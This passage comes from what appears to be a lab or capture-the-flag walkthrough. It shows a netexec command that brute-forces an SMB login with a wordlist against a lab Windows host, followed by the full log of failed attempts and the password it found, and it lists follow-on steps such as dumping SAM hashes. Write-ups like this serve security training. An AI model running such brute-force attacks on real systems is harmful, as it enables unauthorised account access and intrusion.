6. Password Brute Force via SMB Login

Now trying Password Brute Forcing via SMB — using a valid username (alfredo) to guess the correct password!

🔧 Tool: netexec

(Previously known as crackmapexec)

It checks if any password from your list works for the SMB login.

🧪 Command Example:

netexec smb 192.168.10.4 -u 'alfredo' -p /usr/share/wordlists/fasttrack.txt

🔍 What it does:

  • 🔐 Tries each password in fasttrack.txt

  • ✅ If it finds the correct one, you’ll see:

    [+] megachange.nyx\alfredo:CorrectPassword
  • ❌ If not, it'll show STATUS_LOGON_FAILURE repeatedly

The Result :

kali㉿kali)-[~/Desktop]
└─$ netexec smb 192.168.10.4 -u 'alfredo' -p /usr/share/wordlists/fasttrack.txt 
SMB         192.168.10.4    445    CHANGE           [*] Windows 10 / Server 2019 Build 17763 x64 (name:CHANGE) (domain:megachange.nyx) (signing:True) (SMBv1:False)
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2017 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Fall2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:fall2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2021 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Fall2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:fall2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2020 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Fall2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:fall2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2019 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Fall2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:fall2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2018 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2016 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2015 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2014 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Spring2013 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2017 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2016 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2015 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2014 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:spring2013 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2017 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2016 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2015 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2014 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Summer2013 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2017 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2016 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2015 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2014 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:summer2013 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2017 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2016 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2015 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2014 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Autumn2013 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2017 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2016 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2015 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2014 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:autumn2013 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2017 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2016 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2015 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2014 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Winter2013 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2017 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2016 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2015 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2014 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:winter2013 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:P@55w0rd STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:P@ssw0rd! STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:P@55w0rd! STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:sqlsqlsqlsql STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:SQLSQLSQLSQL STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Welcome123 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Welcome1234 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:Welcome1212 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:PassSql12 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:network STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:networking STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:networks STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:test STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:testtest STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:testing STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:testing123 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:testsql STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:test-sql3 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:sqlsqlsqlsqlsql STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:bankbank STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:default STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:test STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:testing STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:password2 STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo: STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [-] megachange.nyx\alfredo:password STATUS_LOGON_FAILURE 
SMB         192.168.10.4    445    CHANGE           [+] megachange.nyx\alfredo:Password1 

So, we found the correct password in the last line : SMB 192.168.10.4 445 CHANGE [+] megachange.nyx\alfredo:Password1

📌 Reminder:

  • Port 445 is SMB

  • SMB access with valid credentials means:

    • Browse shares

    • Dump SAM hashes

    • Possibly move laterally

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